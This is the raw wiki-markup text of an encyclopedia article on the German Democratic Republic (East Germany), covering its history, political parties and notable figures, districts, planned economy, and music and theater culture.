      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Deutsche Demokratische Republik'''&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of East Germany.svg|125px|Flag of East Germany]] || align=center width=130px| [[Image:East Germany-coat of arms-transparent.png|100px|East Germany: Coat of Arms]]
|-
| width=&quot;130px&quot;| ([[Flag of East Germany|In detail]]) || align=center width=130px| ([[Coat of Arms of East Germany|In Detail]])
|}
|-
| align=center colspan=2 | &lt;small&gt;''National [[motto]]: none&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[Image:LocationEastGermany.png|Location of East Germany]]
|-
|'''[[Official language]]s''' || [[German language|German]]
|-
|'''[[Capital]]''' || [[East Berlin]]
|-
|'''Largest city || [[East Berlin]]
|-
|'''[[Area]]''' &lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
|[[List of countries by area|Ranked 106th]] &lt;br&gt;[[1 E11 m²|108,333 km&amp;sup2;]] &lt;br&gt;Negligible
|-
|'''[[Independence|Creation]]'''&lt;br&gt;-[[German reunification|Abolition]]
|[[7 October]] [[1949]]&lt;br&gt;[[3 October]] [[1990]]
|-
|'''[[Currency]]''' || [[East German mark]]
|-
| '''[[Time zone]]'''&lt;br&gt;&amp;nbsp;&amp;ndash; in [[daylight saving time|summer]]
| [[Central European Time|CET]] ([[Coordinated Universal Time|UTC]]+1)&lt;br/&gt;[[Central European Summer Time|CEST]] ([[Coordinated Universal Time|UTC]]+2)
|-
| '''[[National anthem]]''' || [[Auferstanden aus Ruinen]]
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.dd]] (never used)
|-
| '''[[List of country calling codes|Calling code]]''' || +37
|-
| colspan=2 align=right style=&quot;padding: 0 5px 0 5px&quot; | &lt;small&gt;{{edit|East Germany|}}&lt;/small&gt;
|}
{{this article is about|a historical state. For the historical eastern German provinces, see [[Historical Eastern Germany]].}}

The '''German Democratic Republic''' ('''GDR''') [[German language|German]]: ''Deutsche Demokratische Republik'' (''DDR''), informally known in English as '''East Germany''', was a [[Communist state]] that existed from [[1949]] to [[1990]] in the former [[USSR|Soviet]] occupation zone of [[Germany]]. The German Democratic Republic was proclaimed in [[East Berlin]] on [[October 7]], [[1949]], five weeks after the [[Federal Republic of Germany]] in western Germany. It was declared fully sovereign in [[1954]]. Soviet troops remained based on the four-power [[Potsdam Conference|Potsdam agreement]], largely to counterbalance the [[United States|U.S.]] presence in [[West Germany]] during the [[Cold War]]. East Germany was a member of the [[Warsaw Pact]].

In the first and last free elections of the GDR on [[March 18]], [[1990]], the leading communist party ([[Socialist Unity Party of Germany|SED]]) lost the majority in the [[Volkskammer]] (the parliament of the GDR), which they had been guaranteed in the previous elections. On [[August 23]] the Volkskammer decided that the territory of East Germany (including East Berlin) would accede to the [[Ambit claim|ambit]] of the basic law of the [[Germany|Federal Republic of Germany]] on [[October 3]], [[1990]]. As a result of [[German reunification]] on that date, the German Democratic Republic ceased to exist.

==History==
{{main articles|[[History of the German Democratic Republic]] and [[History of Germany]]}}

The territories of East Germany were settled by [[Germanic peoples]] during the last few centuries [[Anno Domini|BC]].  During the post-Roman [[migration period]], many of these populations left for other lands, and [[Slavic peoples|Slavic]] [[Wends]] settled in their wake.  German imperial rulers reconquered the area during the [[Middle Ages]].  The newly acquired land was organised in [[margravate]]s, German feudal states on the land of Slavs. Consequent waves of German settlements, which in subsequent centuries later included French Hugenots and Jews, gradually modified the originally Slavic composition of the land, except for the small community of [[Sorbs]] in [[Lusatia]], and eventually most of what is now East Germany formed a large part of the historical [[Kingdom of Prussia]].

In [[Imperial Germany]] and later during the time of the [[Weimar Republic]], territory that would become East Germany was situated in the center of the state. This territory was known as &quot;Mitteldeutschland&quot; (Middle Germany), while the designation &quot;East&quot; was reserved for provinces such as eastern [[Pomerania]], eastern [[Brandenburg]], [[Silesia]] and [[East Prussia|East]] and [[West Prussia]]. During WWII, Allied leaders decided at the [[Yalta Conference]] that post-war borders of Poland would be moved westward to the [[Oder-Neisse line]], just as Soviet borders were also moved westward into formerly Polish territory.

Discussions at Yalta and Potsdam also outlined the planned occupation and administration of post-war Germany under a four-power [[Allied Control Council]], or ACC (composed of the United States, United Kingdom, France, and the Soviet Union). At the end of [[World War II]], at the [[Potsdam Conference]] in [[1945]], four of the victorious countries [[France]], the [[United Kingdom]], the [[United States]] and the [[Soviet Union]] decided to divide [[Germany]] into four occupation zones. Each country would control a part of [[Germany]] until its sovereignty was restored.

The ''Länder'' (states) of [[Mecklenburg-Western Pomerania|Mecklenburg-Vorpommern]], [[Brandenburg]], [[Saxony|Sachsen]], [[Saxony-Anhalt|Sachsen-Anhalt]], [[Thuringia|Thüringen]], and the eastern sector of Greater Berlin fell in the Soviet Sector of Germany, or SBZ. Soviet objections to economic and political reforms in western (US, UK, and French) occupation zones led to Soviet withdrawal from the ACC in 1948 and subsequent evolution of the SBZ into East Germany.  Concurrently, the western occupation zones consolidated to form [[West Germany]] (or the ''Federal Republic of Germany'', FRG).

Just as Germany was divided after the war, [[Berlin]], the former capital, of Germany was divided into four sectors.  Since Berlin was entirely enclosed in the Soviet part of Germany, the areas of Berlin being held under the control of the UK, the United States and France soon became known as [[West Berlin]] while the Soviet sector became known as [[East Berlin]].

Conflict over the status of West Berlin led to the [[Berlin Blockade#The Berlin Airlift|Berlin Airlift]]. The increasing prosperity of West Germany and growing political oppression in the East led large numbers of East Germans to flee to the West.

East Germany adopted a socialist republic and became part of the [[Warsaw Pact]], while West Germany became a liberal parliamentary republic and part of [[NATO]].

The first leader of East Germany was [[Wilhelm Pieck]]. He was the first (and last) president of the GDR. The [[East German Constitution]] defined the country as &quot;a Republic of Workers and Peasants.&quot;

On [[June 17]], [[1953]], following a production quota increase of 10 percent for workers building East Berlin's new showcase boulevard, the [[Stalinallee]], demonstrations broke out in [[East Berlin]] and other industrial centers. Later that day, Soviet troops and tanks suppressed the demonstrations killing at least 125 (See [[Straße des 17. Juni]] and [[Uprising of 1953 in East Germany|Workers' Uprising of 1953 in East Germany]]).

Since the 1940s, refugees had been leaving the Soviet zone of Germany to start a new life in the west. The ongoing exodus of East Germans further strained the GDR's troubled economy. Although the inter-German border was largely closed by the mid-1950s (see [[GDR border system]]), the sector borders in Berlin were relatively easy to cross. However, in the night of [[August 13]] [[1961]], East German troops sealed the border between West and East Berlin, and started to build the [[Berlin Wall]], literally and physically enclosing West Berlin. Travel was greatly restricted into, and out of, East Germany. The [[Stasi]] spied extensively on the citizens to suppress dissenters through its network of 175,000 informants and 90,000 agents.

In [[1971]], [[Erich Honecker]] replaced Ulbricht in what was technically a coup, with the blessing of the USSR.  East Germany was generally regarded as the most economically advanced member of the [[Warsaw Pact]]. Before the 1970s, the official position of West Germany was that of the [[Hallstein Doctrine]] which involved non-recognition of East Germany. In the early 1970s, [[Ostpolitik]] led by [[Willy Brandt]] led to a form of mutual recognition between East and West Germany.
[[Image:Flag of Germany.svg|thumb|right|150px|Before 1959, both East &amp; West Germany had the same flag]]

Competition with the West was carried on also on an athletic level.  East German athletes dominated several [[Olympic Games|Olympic]] disciplines. Of special interest was the only football match ever to occur between West and East Germany, a first round match during the 1974 World Cup.  Though West Germany was the host and the eventual champion, East beat West 1-0.

In August [[1989]] [[Hungary]] removed its border restrictions and several thousand people fled East Germany by crossing the &quot;green&quot; border into Hungary and then on to [[Austria]] and West Germany. Many others peacefully demonstrated against the ruling party. These demonstrations eventually forced the resignation of Honecker; in October he was replaced, albeit briefly, by [[Egon Krenz]].

On [[November 9]] [[1989]] the [[Berlin Wall]] fell, resulting in emotional scenes as hundreds of thousands of East Germans crossed into West Berlin and West Germany for the first time. Soon the whole authoritarian system of East Germany fell apart.  Although there were some small attempts to create a permanent non-authoritarian East Germany, these were soon overwhelmed by calls for reunification with [[West Germany]].  After some negotiations ([[Treaty on the Final Settlement With Respect to Germany|2+4]] Talks, involving the two Germanies and the victory powers [[United States]], [[France]], [[United Kingdom]], and the [[Soviet Union]]), conditions for [[German reunification]] were agreed upon.  Thus, on [[October 3]] [[1990]] the East German population was the first from the [[Eastern Bloc]] to join the [[European Community|European Economic Community]] as a part of the reunified [[Federal Republic of Germany]]. The East German territory was reorganized into what is now the city of Berlin and five states, reconstituting political entities that had been abolished in [[1950]].

To this day, there remain many differences between the former East Germany and West Germany (e.g. in lifestyle, wealth, political beliefs and other matters) and thus it is still common to speak of eastern and western Germany distinctly. The Eastern German economy has struggled since German re-unification, and large subsidies are still transferred from west to east.

==Politics==
{{main|Politics of East Germany}}
[[Image:SED-Logo.png|right|thumb|125px|The logo of the SED]]
===In General===
The equivalent of the Communist Party in East Germany was the ''Sozialistische Einheitspartei Deutschlands'' ([[Socialist Unity Party of Germany]], SED), which along with other parties, was part of the National Front of Democratic Germany. It was created in 1946 through the merger of the [[Communist Party of Germany]] (KPD) and the [[Social Democratic Party of Germany]] (SPD) in the Soviet controlled zone. Following reunification, the SED was renamed the [[Party of Democratic Socialism]] (PDS).

The other political parties ran under the joint slate of the [[National Front (East Germany)|National Front]], controlled by the SED, for elections to the [[Volkskammer]], the East German Parliament. (Elections took place, but were effectively controlled by the SED/state hierarchy, as for example [[Hans Modrow]] has noted.) In [[West Germany]], the [[Communist Party of Germany|KPD]] was banned in [[1956]].

*''Christlich-Demokratische Union Deutschlands'' ([[Christian Democratic Union (East Germany)|Christian Democratic Union of Germany]], CDU), merged with the West-German [[Christian Democratic Union of Germany|CDU]] after reunification
*''Demokratische Bauernpartei Deutschlands'' ([[Democratic Farmers' Party of Germany]], DBD). This party was of special importance because of farmers' role for supply and also published its own daily newspaper. The party merged with the West-German [[Christian Democratic Union of Germany|CDU]] after reunification. 
*''Liberal-Demokratische Partei Deutschlands'' ([[Liberal Democratic Party of Germany]], LDPD), merged with the West-German [[Free Democratic Party of Germany|FDP]] after reunification
*''Nationaldemokratische Partei Deutschlands'' ([[National Democratic Party of Germany (East Germany)|National Democratic Party of Germany]], NDPD), merged with the West-German [[Free Democratic Party of Germany|FDP]] after reunification

The Volkskammer also included representatives from the ''mass organisations'' like the [[Free German Youth]] (''Freie Deutsche Jugend'' or ''FDJ''), or the [[Free German Trade Union Federation]]. In an attempt to include women in the political life in East Germany, there was even a [[Democratic Women's Federation of Germany]] with seats in the Volkskammer.

Non-parliamentary mass organisations which nevertheless played a key role in East German society included the German Gymnastics and Sports Association (''Deutscher Turn- und Sportbund'' or ''DTSB'') and People's Solidarity (''Volkssolidarität'', an organisation for the elderly). Another society of note (and very popular during the late 1980s) was the [[Society for German-Soviet Friendship]].

===Persons of note in East Germany===
[[Image:Honecker2.jpg|thumb|175px|right|Erich Honecker]]

====Political Representatives====
{{main|Leaders of East Germany}}

*[[Hermann Axen]], editor-in-chief of the SED paper &quot;Neues Deutschland&quot; 1956-1978, SED secretary for international relations 1966-1989
*[[Johannes R. Becher]], first minister for culture 1954-1958, wrote the lyrics of the national anthem
*[[Hilde Benjamin]], vice president of the supreme court 1949-1953, minister for justice 1953-1967, dubbed &quot;red guillotine&quot; for her relentless persecution of political opponents
*[[Otto Grotewohl]], Chairman of the East German [[Social Democratic Party of Germany|SPD]] 1945-1946; joint chairman of the SED 1946-54; Chairman of the Council of Ministers 1949-64
*[[Erich Honecker]], General Secretary of the SED 1971-89; Chairman of the Council of State, 1976-89
*[[Margot Honecker]] née Feist, minister for education 1963-1989
*[[Heinz Keßler]], minister for defence 1985-1989 (deputy minister since 1957)
*[[Egon Krenz]], General Secretary of the Socialist Unity Party and chairman of Council of State October - December 1989, he was Honnecker's deputy and &quot;crown prince&quot; since 1983
*[[Erich Mielke]], [[Stasi]] Minister 1957-1989
*[[Günter Mittag]], SED secretary for economics 1962-1973, 1976-1989
*[[Hans Modrow]], SED district secretary for Dresden 1973-1989, last SED prime minister November 1989 - March 1990
*[[Wilhelm Pieck]], Chairman of the East German [[Communist Party of Germany|KPD]] 1945-1946; joint chairman of the SED 1946-54; State President 1949-60
*[[Günter Schabowski]], SED district secretary for Berlin 1985-1989; as party spokesperson he caused the fall of the [[Berlin wall]]
*[[Alexander Schalck-Golodkowski]], head of the department of &quot;commercial coordination&quot; in the ministry of foreign trade.
*[[Karl Schirdewan]], SED secretary 1953-1958, dismissed for &quot;faction building&quot;
*[[Horst Sindermann]], Chairman of the Council of Ministers 1973-1976; president of parliament 1976-1989
*[[Karl-Eduard von Schnitzler]], telecaster on East German television, &quot;famous&quot; for his propaganda programme &quot;[[Der schwarze Kanal]]&quot;
*[[Willi Stoph]], Chairman of the Council of Ministers 1964-73, 1976-89; Chairman of the Council of State, 1973-76
*[[Harry Tisch]], head of the [[Free German Trade Union Federation]] 1975-1989 
*[[Walter Ulbricht]], General Secretary of the SED 1950-71; Chairman of the Council of State, 1960-73)
*[[Markus Wolf|Markus &quot;Mischa&quot; Wolf]], head of the GDR's intelligence department 1952-1989

====Artists and Otherwise Important Persons====

*[[Manfred von Ardenne]], physicist and inventor
*[[Rudolf Bahro]], jornalist and poltician
*[[Jurek Becker]], writer (''&quot;[[Jacob the Liar]]&quot;'')
*[[Benno Besson]], dramitist, actor and director, pupil of Bertolt Brecht and one of the most important directors of German language of this time
*[[Frank Beyer]], film director
*[[Wolf Biermann]], singer/songwriter and dissident, citizenship withdrawn in 1976 when he was on tour in West Germany
*[[Ibrahim Böhme]], first chairman of the East German [[Social Democratic Party of Germany|Social Democrats]] in 1989-1990, resigned after being detected as a former Stasi informer
*[[Bärbel Bohley]], painter
*[[Thomas Brasch]], writer, poet and dramatist
*[[Bertolt Brecht]], dramitist, poet and director, reopened the &quot;Berliner Ensemble&quot; in 1949, important person of Communistic Exil and Resistance
*[[Rainer Eppelmann]], Protestant pastor, minister for defence and disarmament March - October 1990
*[[Klaus Fuchs]], physicist
*[[Erwin Geschonneck]], actor
*[[Gregor Gysi]], lawyer to artists, chairman of the SED/PDS November 1989 - 1998
*[[Nina Hagen]], punk singer
*[[Peter Hacks]], dramitist
*[[Wolfgang Harich]], intellectual sentenced to prison for counterrevolutionary activities
*[[Robert Havemann]], chemist and intellectual critic of government, communistic resistance fighter in World War 2
*[[John Heartfield|Johnny Heartfield]], photographer
*[[Bernhard Heisig]], painter (&quot;[[Leipzig school (art)|Leipziger Schule]]&quot;)
*[[Henry Hübchen]], actor
*[[Walter Janka]], publisher, sentenced to prison in 1957 for &quot;counterrevolutionary activities&quot;, communistic resistance fighter in World War 2
*[[Gustav Just]], journalist
*[[Manfred Krug]], actor and jazz singer
*[[Lothar de Maiziere]], first (and only) freely elected prime minister April - October [[1990]]
*[[Wolfgang Mattheuer]], painter (&quot;[[Leipzig school (art)|Leipziger Schule]]&quot;)
*[[Markus Meckel]], Protestant pastor, deputy chairman of the East German Social Democrats 1989-1990, GDR foreign minister April - August 1990
*[[Armin Mueller-Stahl]], actor
*[[Heiner Müller]], writer and dramatist, worked with the director [[Benno Besson]] at [[Volksbühne]]
*[[Wolfgang Schnur]], lawyer to dissidents, opposition politician ([[Democratic Awakening]] in 1990 but resigned after being detected as a former Stasi informer
*[[Erwin Strittmatter]], writer (&quot;[[Der Laden]]&quot;)
*[[Werner Tübke]], painter (&quot;[[Leipzig school (art)|Leipziger Schule]]&quot;)
*[[Katarina Witt]], figure skater
*[[Christa Wolf]], writer (&quot;[[Kassandra]]&quot;)

==Subdivisions==
{{main|Subdivisions of East Germany}}

In 1952, the ''[[States of Germany|Länder]]'' of East Germany were abolished, and East Germany was divided into fifteen ''Bezirke'' (districts), each named after the largest city: [[Rostock]]; [[Schwerin]]; [[Neubrandenburg]]; [[Magdeburg]]; [[Potsdam]]; [[Berlin]]; [[Frankfurt (Oder)]]; [[Cottbus]]; [[Halle, Saxony-Anhalt|Halle]]; [[Erfurt]]; [[Leipzig]]; [[Dresden]]; [[Karl-Marx-Stadt]] (now again [[Chemnitz]]); [[Gera]]; and [[Suhl]].

==Economy==
{{main|Economy of the German Democratic Republic}}
{{cleanup-date|November 2005}}
[[Image:GDR economy.jpg|right|thumb|312.5px|Economic activity in the GDR.]]

Like other [[East Europe]]an [[communist]] states, East Germany had a [[centrally planned economy]] (CPE), similar to the one in the former [[Soviet Union]], in contrast to the more familiar [[market economy|market economies]] or [[mixed economy|mixed economies]] of most Western states. The state established production targets and prices and allocated resources, codifying these decisions in a comprehensive plan or set of plans. The means of production were almost entirely state owned. In [[1985]], for example, state-owned enterprises or [[collective]]s earned 96.7 percent of total net national income. To secure constant prices for inhabitants, the state bore 80% of costs of basic supplies, from bread to housing.

Advocates of CPEs considered this organizational form to have important advantages. First, the government could harness the economy to serve the political and economic objectives of the leadership. Consumer demand, for example, could be restrained in favor of greater investment in basic industry or channeled into desired patterns, such as reliance on public transportation, like trains and trams, rather than on private automobiles.

Second, CPEs could maximize the continuous utilization of all available resources. Under CPEs, neither [[unemployment]] nor idle plants should have existed beyond minimal levels, and the economy should have developed in a stable manner, unimpeded by [[inflation]] or [[recession]]. Third, CPEs could serve social rather than individual ends; under such a system, the leadership could distribute rewards, whether wages or [[perquisite]]s, according to the concept of &quot;social value&quot; of the service performed, not according to [[supply and demand]] on an [[open market]].

Critics of CPEs identified several characteristic problems. First, given the complexities of economic processes, the plan must be a simplification of reality. Individuals and producing units can be given directives or targets, but in carrying out the plan they may select courses of action that conflict with the overall interests of society as determined by the planners. Such courses of action might include, for example, ignoring quality standards, producing an improper product mix, or using resources wastefully. Second, critics contended that CPEs have build-in obstacles to innovation and efficiency in production; managers of producing units, frequently having limited discretionary authority, see as their first priority a strict fulfillment of the plan targets rather than, for example, development of new techniques or diversification of products. Third, the system of allocating goods and services in CPEs was thought to be inefficient.

Most of the total mix of products was distributed according to the plan, with the aid of a [[ration]]ing mechanism known as the System of Material Balances. But since no one could predict perfectly the actual needs of each producing unit, some units received too many goods and others too few. The managers with surpluses were hesitant to admit they had them, for CPEs were typically &quot;taut,&quot; that is, they carried low [[inventory|inventories]] and reserves. Managers preferred to hoard whatever they had and then to make informal trades when they were in need and could find someone else whose requirements complemented their own.

Finally, detractors argued that in CPEs [[price]]s did not reflect the value of available resources, goods, or services. In market economies, prices, which are based on cost and utility considerations, permit the determination of value, even if imperfectly. In CPEs, prices were determined administratively, and the criteria the state used to establish them were sometimes unrelated to costs. Prices often varied significantly from the actual social or economic value of the products for which they had been set and were not a valid basis for comparing the relative value of two or more products to society, and this lead to what has been termed a [[shortage economy]].

East German [[economist]]s and planners were well aware of the alleged strengths and weaknesses of their system of [[planned economy]]. They contended that Western critics overstated the disadvantages and that in any case these problems were not inherent in the system itself. They directed their efforts toward preserving the fundamental framework of the system while introducing modifications that could address the problems just noted.

The ultimate directing force in the economy, as in every aspect of the society, was the [[Socialist Unity Party of Germany]] (''Sozialistische Einheitspartei Deutschlands''--SED), particularly its top leadership. The party exercised its leadership role formally during the party congress, when it accepted the report of the [[general secretary]], and when it adopted the draft plan for the upcoming five-year period.

More important was the supervision of the SED's [[Politburo]], which monitored and directed ongoing economic processes. That key group, however, could concern itself with no more than the general, fundamental, or extremely serious economic questions, for it also had the full range of other matters on its agenda.

At the head of the [[government]] organs responsible for formally adopting and carrying out policies elaborated by the party congress and Politburo was the [[Council of Ministers]], which had more than forty members and was in turn headed by a [[Presidium]] of sixteen. The Council of Ministers supervised and coordinated the activities of all other central bodies responsible for the economy, and it played a direct and specific role in important cases.

The State Planning Commission (sometimes called the Economic General Staff of the Council of Ministers) advised the Council of Ministers on possible alternative economic strategies and their implications, translated the general targets set by the council into planning directives and more specific plan targets for each of the ministries beneath it, coordinated short-, medium-, and long-range planning, and mediated interministerial disagreements.

The individual ministries had major responsibility for the detailed direction of the different sectors of the economy. The ministries were responsible within their separate spheres for detailed planning, resource allocation, development, implementation of innovations, and generally for the efficient achievement of their individual plans.

Directly below the ministries were the centrally directed [[trust]]s, or [[Kombinat]]e. Intended to be replacements for the Associations of Publicly Owned Enterprises--the largely administrative organizations that previously served as a link between the ministries and the individual enterprises--the Kombinate resulted from the merging of various industrial enterprises into large-scale entities in the late-1970s, based on interrelationships between their production activities.

The Kombinate included [[research]] enterprises, which the state incorporated into their structures to provide better focus for research efforts and speedier application of research results to production. A single, united management directed the entire production process in each Kombinat, from research to production and sales. The reform also attempted to foster closer ties between the activities of the Kombinate and the [[foreign trade]] enterprises by subordinating the latter to both the Ministry of Foreign Trade and the Kombinate. The goal of the Kombinat reform measure was to achieve greater efficiency and rationality by concentrating authority in the hands of midlevel leadership. The Kombinat management also provided significant input for the central planning process.

By the early [[1980s]], establishment of Kombinate for both centrally managed and district-managed enterprises was essentially complete. Particularly from [[1982]] to [[1984]], the government established various regulations and laws to define more precisely the parameters of these entities. These provisions tended to reinforce the primacy of central planning and to limit the autonomy of the Kombinate, apparently to a greater extent than originally planned. As of early [[1986]], there were 132 centrally managed Kombinate, with an average of 25,000 employees per Kombinat. District-managed Kombinate numbered 93, with an average of about 2,000 employees each.

At the base of the entire economic structure were the producing units. Although these varied in size and responsibility, the government gradually reduced their number and increased their size. The number of [[industrial enterprise]]s in [[1985]] was only slightly more than one-fifth that of [[1960]]. Their independence decreased significantly as the Kombinate became fully functional.

In addition to the basic structure of the industrial sector, a supplementary hierarchy of government organs reached down from the [[Council of Ministers]] and the [[State Planning Commission]] to territorial rather than functional subunits. Regional and local planning commissions and economic councils, subordinate to the State Planning Commission and the Council of Ministers, respectively, extended down to the local level. They considered such matters as the proper or optimal placement of industry, environmental protection, and housing.

The [[agriculture|agricultural]] sector of the economy had a somewhat different place in the system, although it too was thoroughly integrated. It was almost entirely [[collectivisation|collectivized]] except for private plots. The collective farms were formally self-governing. They were, however, subordinate to the Council of Ministers through the Ministry of Agriculture, Forestry, and Foodstuffs. A complex set of relationships also connected them with other [[cooperative]]s and related industries, such as food processing.

The fact that East Germany had a planned economy did not mean that a single, comprehensive plan was the basis of all economic activity. An interlocking web of plans having varying degrees of specificity, comprehensiveness, and duration was in operation at all times; any or all of these may have been modified during the continuous process of performance monitoring or as a result of new and unforeseen circumstances. The resultant system of plans was extremely complex, and maintaining internal consistency between the various plans was a considerable task.

Operationally, short-term planning was the most important for production and resource allocation. It covered one [[calendar year]] and encompassed the entire economy. The key targets set at the central level were overall rate of growth of the economy, volume and structure of the [[domestic product]] and its uses, utilization of raw materials and [[labour (economics)|labor]] and their distribution by sector and region, and volume and structure of [[export]]s and [[import]]s. Beginning with the [[1981]] plan, the state added assessment of the ration of raw material use against value and quantity of output to promote more efficient use of scarce resources.

Medium-range (five-year) planning used the same indicators, although with less specificity. Although the [[five-year plan]] was duly enacted into law, it is more properly seen as a series of guidelines rather than as a set of direct orders. It was typically published several months after the start of the five-year period it covered, after the first one-year plan had been enacted into law. More general than a one-year plan, the five-year plan was nevertheless specific enough to integrate the yearly plans into a longer time frame. Thus it provided continuity and direction.

In the early 1970s, long-term, comprehensive planning began. It too provided general guidance, but over a longer period (fifteen or twenty years), long enough to link the five-year plans in a coherent manner.

In the first phase of planning, the centrally determined objectives were divided and assigned to appropriate subordinate units. After internal consideration and discussion had occurred at each level and suppliers and buyers had completed negotiations, the separate parts were reaggregated into draft plans. In the final stage, which follows the acceptance of the total package by the State Planning Commission and the Council of Ministers, the finished plan was redivided among the ministries, and the relevant responsibilities were distributed once more to the producing units.

The production plan was supplemented by other mechanisms that control supplies and establish monetary accountability. One such mechanism was the System of Material Balances, which allocated materials, equipment, and consumer goods. It acted as a rationing system, ensuring each element of the economy access to the basic goods it needed to fulfill its obligations. Since most of the goods produced by the economy were covered by this control mechanism, producing units had difficulty obtaining needed items over and above their allocated levels.

Another control mechanism was the assignment of prices for all goods and services. These prices served as a basis for calculating expenses and receipts. Enterprises had every incentive to use these prices as guidelines in decision making. Doing so made plan fulfillment possible and earned bonus funds of various sorts for the enterprise. These bonuses were not allocated indiscriminately for gross output but were awarded for such accomplishments as the introduction of innovations or reduction of labor costs.

The system functioned smoothly only when its component parts were staffed with individuals whose values coincided with those of the regime or at least complemented regime values. Such a sharing took place in part through the integrative force of the party organs whose members occupied leading positions in the economic structure. Efforts were also made to promote a common sense of purpose through mass participation of almost all workers and farmers in organized discussion of economic planning, tasks, and performance. An East German journal reported, for example, that during preliminary discussion concerning the 1986 annual plan, 2.2 million employees in various enterprises and work brigades of the country at large contributed 735,377 suggestions and comments. Ultimate decision making, however, came from above.

The private sector of the economy was small but not entirely insignificant. In 1985 about 2.8 percent of the net national product came from private enterprises. The private sector included private farmers and gardeners; independent craftsmen, wholesalers, and retailers; and individuals employed in so-called free-lance activities (artist, writers, and others). Although self-employed, such individuals were strictly regulated. in 1985, for the first time in many years, the number of individuals working in the private sector increased slightly. According to East German statistics, in 1985 there were about 176,800 private entrepreneurs, an increase of about 500 over 1984. Certain private sector activities were quite important to the system. The SED leadership, for example, had been encouraging private initiative as part of the effort to upgrade consumer services.

In addition to those East Germans who were self-employed full time, there were others who engaged in private economic activity on the side. The best known and most important examples were families on collective farms who also cultivated private plots (which can be as large as 5,000 m²). Their contribution was significant; according to official sources, in 1985 the farmers privately owned about 8.2 percent of the hogs, 14.7 percent of the sheep, 32.8 percent of the horses, and 30 percent of the laying hens in the country. Professionals such as commercial artists and doctors also worked privately in their free time, subject to separate tax and other regulations. Their impact on the economic system, however, was negligible.

More difficult to assess, because of its covert and informal nature, was the significance of that part of the private sector called the &quot;second economy.&quot; As used here, the term includes all economic arrangements or activities that, owing to their informality or their illegality, took place beyond state control or surveillance. The subject has received considerable attention from Western economists, most of whom are convinced that it is important in CPEs. In the mid-1980s, however, evidence was difficult to obtain and tended to be anecdotal in nature.

One kind of informal economic activity included private arrangements to provide goods or services in return for payment. An elderly woman might have hired a neighbor boy to haul coal up to her apartment, or an employed woman might have paid a neighbour to do her washing. Closely related would be instances of hiring an acquaintance to repair a clock, tune up an automobile, or repair a toilet. Such arrangements take place in any society, and given the serious deficiencies in the East German service sector, they may have been more necessary than in the West. They were doubtlessly common, and because they were considered harmless, they were not the subject of any significant governmental concern.

There was another kind of private economic activity, however, that did concern the government: the stealing and selling of goods for profit by individuals who had ready access to them. For example, an individual might siphon gasoline from a public vehicle and sell it to a friend. No statistics are available on such practices. Surface impressions, however, suggest that they are not very common or significant, certainly not as significant as may be the case in other socialist states where they were reportedly quasi-institutionalized.

Another common activity that was troublesome if not disruptive was the practice of offering a sum of money beyond the selling price to individuals selling desirable goods, or giving something special as partial payment for products in short supply. Such ventures may have been no more than offering someone Trinkgeld (a tip), but they may have also involved Schmiergeld (money used to &quot;grease&quot; a transaction) or Beziehungen (special relationships). Opinions in East Germany varied as to how significant these practices were. But given the abundance of money in circulation and frequent shortages in luxury items and durable consumer goods, most people were perhaps occasionally tempted to provide a &quot;sweetener,&quot; particularly for such things as automobile parts or furniture.

These irregularities did not appear to constitute a major economic problem. However, the East German press occasionally reported prosecutions of particularly egregious cases of illegal &quot;second economy&quot; activity, involving what are called &quot;crimes against socialist property&quot; and other activities that are in &quot;conflict and contradiction with the interests and demands of society&quot; (as one report described the situation).

==Culture==
===Music===
For ideological reasons artists were expected to sing songs only in German at first, which changed with the end of the sixties. This seemed a logical constraint by the Party leaders but it was rather unpopular among young people. There was strict rules that regulated that all artistic activity ought to be censored for any open or implied anti-socialist tendencies. The band [[Renft]], for example, was prone to political misbehaviour, which eventually led to its split.

The [[Puhdys]] and [[Karat (Band)|Karat]] were some of the most popular mainstream bands, managing to hint at critical thoughts in their lyrics without being explicit. Like most mainstream acts, they appeared in popular youth magazines such as ''Neues Leben'' and ''Magazin''. Other popular rock bands were: [[Wir]], [[Dean Reed]].

Influences from the West were heard everywhere, because TV and radio that came from the ''Klassenfeind'' (enemy of the working class) could be received in many parts of the East, too (a notorious exception being [[Dresden]], with its geographically disadvantageous position in the [[Elbe]] valley, giving it the nickname of “Valley of the Clueless”). The Western influence led to the formation of more &quot;underground&quot; groups with a decisively western-oriented sound. A few of these bands were [[Die Skeptiker]], as well as [[Feeling B]].

Classical music was highly supported, so that there existed over 50 classical symphony orchestras in a country with a population about 16 million. 
Look also:
*[[Thomanerchor]] [[Leipzig]]
*[[Dresden Staatskapelle|Staatskapelle]] [[Dresden]]
*[[Berliner Sinfonie Orchester]]
*[[Staatsoper Unter den Linden]] [[Berlin]]

In fact that [[Johann Sebastian Bach]] was born in East German territory, his birthplace in [[Eisenach]] was turned into a museum of his life, which, among other things, included more than 300 instruments from Bach's life. In 1980 this museum was receiving more than 70,000 visitors annually.

In Leipzig, an enormous archive with recordings of all of Bach's music was compiled, along with many historical documents and letters both to and from him.

Every other year, school children from across East Germany gathered for a Bach competition held in East Berlin. Every four years an international Bach competition for keyboard and strings was held.

Also [[Goethe|Goethe's]], [[Schiller|Schiller's]] or [[Martin Luther]]'s birthplace turned into museums. In the GDR there existed over 300 of these folklore museums.

===Theater===
East German theater was in the beginning strongly dominated by [[Bertolt Brecht]], who brought back a lot of artists from antifascist resistance and reopened ''Theater am Schiffbauerdamm'' with his [[Berliner Ensemble]]. On the other side, some streams tried to establish pure workers theater, played by workers with plays about workers.

After Brecht died, there were a lot of conflicts beetween the artists and his family (around [[Helene Weigel]]) about the heritage of Brecht. [[Heinz Kahlau]], [[Slatan Dudow]], [[Erwin Geschonneck]], [[Erwin Strittmatter]], [[Peter Hacks]], [[Benno Besson]], [[Peter Palitzsch]] and [[Ekkehard Schall]] are counted among Bertolt Brecht's scholars and followers. 

